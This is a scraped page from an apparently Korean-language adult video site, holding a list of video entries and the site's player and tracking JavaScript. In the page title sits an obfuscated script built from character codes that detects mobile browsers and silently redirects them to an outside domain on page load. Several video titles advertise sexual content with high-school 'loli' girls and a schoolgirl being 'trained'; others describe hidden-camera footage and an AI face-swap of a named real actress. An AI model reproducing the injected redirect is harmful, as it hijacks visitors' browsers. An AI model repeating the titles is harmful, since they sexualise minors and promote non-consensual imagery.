추천 영상
01:11:41
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>후한 보상을 받고 첫 경험을 할 고등학생 로리 소녀들을 찾습니다.</script></title>
후한 보상을 받고 첫 경험을 할 고등학생 로리 소녀들을 찾습니다.","lastmod":"2026-07-11","duration":"01:11:41","url":"/play/19161805.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTdjNWYwYTk3NTE3ODVmMzI1OTI0NjQzM2MxOWQ3MzcuanBn.cache","vod_id":18962015,"title":"인터넷 스타 인형 '홍콩돌'이 5월 26일 \"바람, 꽃, 눈❤️ 1인칭 시점의 사랑 나누기\"라는 제목의 새 영상을 공개했다.","lastmod":"2025-03-22","duration":"00:08:30","url":"/play/18962015.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTE0ZTVmNzI2MTg3NTI1ZjM2ZTBhMDVhOTJmYTA0MDQuanBn.cache","vod_id":18988985,"title":"326EVA-091 수영장에서 친구들과 놀고 있던 이치고(21세)를 우연히 만났어요! 귀엽고 순해 보였는데, 사실은 호스티스였더라고요! 남자친구가 있긴 하지만, 항상 당신과 섹스하고 싶어 하죠! 금세 그녀의 엄청나게 섹시한 면모를 발견했답니다, 하하.","lastmod":"2025-12-14","duration":"01:08:54","url":"/play/18988985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDdkOTJkMzU0ZDAwYjQ2NjhhZDQ1MWFmOWNjMDcwYjkuanBn.cache","vod_id":18959404,"title":"인터넷 유명인이자 최고 수준의 음란녀 [미도우지 ~ 시즌 4]는 사적인 사진으로 \"물 뿌리는 괴물\"로 알려져 있다. 그녀는 다양한 기술을 사용하여 자신의 은밀한 부위를 자극하고 오르가즘에 도달할 때 몸을 떨고 경련을 일으킨다(10).","lastmod":"2025-12-14","duration":"00:05:04","url":"/play/18959404.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvM2EwM2M3NmFmNjc2NmQyOGM2NTcxMDMyODk3MTAxN2UuanBn.cache","vod_id":19152284,"title":"대만 여배우가 검은 스타킹을 신고 아름다운 몸매와 늘씬한 다리를 뽐내며 데뷔했다.","lastmod":"2026-04-08","duration":"01:06:28","url":"/play/19152284.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmE5MWQ0NTExNTM5YjMzZjFlY2UxYzI3MmFmOWRmZjguanBn.cache","vod_id":18971970,"title":"최근 구매: 91 리틀 마가 2학년 여학생을 훈련시켰는데, 그 여학생의 구술 능력은 어제와 똑같네요.","lastmod":"2025-03-23","duration":"00:13:08","url":"/play/18971970.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDRiZTgxNzVmNDlkMjUxYzIyMjEyNTZiNzEwZmJkOTQuanBn.cache","vod_id":18944634,"title":"아름다운 수학 선생님과의 실제 만남 - 쇼핑 후 호텔에서 만나 다양한 체위로 격렬한 삽입과 뜨거운 섹스를 즐겼습니다. 그녀는 놀라울 정도로 끈질겼고, 고화질 720p 풀 버전에서 그녀의 얼굴이 완벽하게 드러났습니다.","lastmod":"2025-12-14","duration":"00:27:04","url":"/play/18944634.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2FjNjkxMTgzNzJjZmNiMDRiYmZlMjgyYjdmZjU4NDYuanBn.cache","vod_id":18955444,"title":"✿풍만한 성숙한 여성✿ JVID의 최상위 인기 글래머 여신▌레레 x 타이니▌실사판 \"감옥학원\"의 강렬한 데뷔! 가장 아름다운 글래머 학생회장 쿠리하라 마리, 125P 1V","lastmod":"2025-03-22","duration":"00:06:53","url":"/play/18955444.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTkzNDcyOThiMTY4NzlkMzFiOWNlZDc4MTAxZmU4MWIuanBn.cache","vod_id":18959040,"title":"그녀는 정말 매력적인 중년 여성이자, 아름다운 얼굴과 동그랗고 탐스러운 가슴을 가진 젊은 엄마입니다. 그녀는 음핵 마사지만으로도 흥분하고, 그녀의 음탕한 본성은 내 귀두를 피로 가득 채우게 만듭니다!","lastmod":"2025-03-22","duration":"01:07:51","url":"/play/18959040.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQ1NDA5MDAzZTJhNWIyMTk3MmI4OWY1MDVlNGZlMGEuanBn.cache","vod_id":18954792,"title":"인터넷 스타이자 '물 뿜는 괴물'이라는 닉네임으로 알려진, 겉보기엔 음란한 이미지와는 정반대인 여성이 자신의 은밀한 부위를 자극하는 다양한 방법을 촬영해 오르가즘에 도달하며 몸을 떨고 경련하는 모습을 보여주고 있다. 심지어 질액을 유리잔에 담기까지 했다.","lastmod":"2025-03-22","duration":"00:08:22","url":"/play/18954792.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTg2ZTg1M2RiOTk4M2VlNDkwYWUzZDk2YzJkMDQxMWIuanBn.cache","vod_id":19005900,"title":"[HD 중국어] 새로운 오르가즘 - 료모리 레이무 - 역사상 최고 절정 횟수","lastmod":"2025-03-24","duration":"01:25:50","url":"/play/19005900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDE1NGQ0ZjcwY2JiMjczYzJlNTk3NTIzZDZhOTZhYmIuanBn.cache","vod_id":19005860,"title":"[HD 중국어] 재수생 호시나 아이가 갑자기 담임 선생님(나)의 집에 나타난다. 임신은 괜찮고, 음란한 대화가 오가다가 아침에 여러 번 사정까지 한다.","lastmod":"2025-03-24","duration":"02:00:34","url":"/play/19005860.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmNjM2NlZWNiZmNlNDZlMjc3ODc1Mjc3YmUxZThjMTYuanBn.cache","vod_id":18955967,"title":"놀랍도록 아름답고 매혹적인 젊은 여성이 화려한 얼굴로 시선을 사로잡습니다. 풍만한 가슴과 탄력 있는 엉덩이는 섹시함을 물씬 풍기며, 그녀의 도발적인 행동들은 남성 관객들을 자극합니다. 소품을 이용해 자신의 은밀한 부위를 애무하고 자극하며, 오르가즘에 도달할 때까지 신음하는 그녀의 표정은 보는 이를 매료시킵니다. 그녀는 정말이지 엄청나게 섹시합니다.","lastmod":"2025-03-22","duration":"00:56:48","url":"/play/18955967.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWNkNzg3M2M1ZmZhZGY2ZmZhOTdhOWFiMDM2OTA0NjAuanBn.cache","vod_id":18982211,"title":"통통하고 어려 보이는 큰 가슴을 가진 여자가 집에서 남자친구와 은밀하게 유혹하며, 남자친구가 두 손으로 그녀의 젖꼭지를 핥게 한다. 그동안 덩치 큰 흑인 남자는 자위하며 질에서 많은 애액을 뿜어낸다. 정말 자극적이다!","lastmod":"2025-12-14","duration":"02:14:08","url":"/play/18982211.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGE5NWQ0YjQ3NzUyYmE2Y2E1NWFmMjYxNjA3MjU0YmEuanBn.cache","vod_id":19143250,"title":"AI - 유슈신 - 최고 여배우의 궁극적인 즐거움","lastmod":"2026-02-13","duration":"05:59","url":"/play/19143250.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjkwMjJlMzNkZjdiMWQ5ZGU1MTU0OGQ5NzBhMWQxNGUuanBn.cache","vod_id":18974534,"title":"마른 체격의 건설 현장 감독이 몰래 카메라를 설치했고, 한 호텔은 성매매 여성을 고용하는 데 엄청난 돈을 지불했다.","lastmod":"2025-12-14","duration":"00:21:06","url":"/play/18974534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGQ5YTJiODgyZTFhMWI4MmY2ZDZhNzViMDg5YTVlNGQuanBn.cache","vod_id":18993871,"title":"AI가 생성한 조이 웡의 저택 얼굴 합성 이미지, 섬세하고 부드러운 분홍빛 외음부와의 항문 성교 장면 포함 #화이트타이거","lastmod":"2025-12-14","duration":"15:44","url":"/play/18993871.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWJmMWRjZWFlMzc0ZTFlM2QzMTZiZjI2N2QxYjk4YjIuanBn.cache","vod_id":18962751,"title":"\"새로운 트렌드 ✅ 자료\" 인터넷 유명인, 양성애자, SM 훈련, 성숙한 여성, 마야 퀸, 구독 완료~ 로프 결박, 가슴 고문, 구속, 강제 오르가즘, 채찍질 (25)","lastmod":"2025-03-22","duration":"00:01:09","url":"/play/18962751.html"}]},
videoTitle: '고가에 구매하세요 ❤️【인터넷 스타 쿠루미 리아】최고급 캣우먼/카걸 세트 [HD 무삭제 원본] 60P 6VCospuriMembers',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}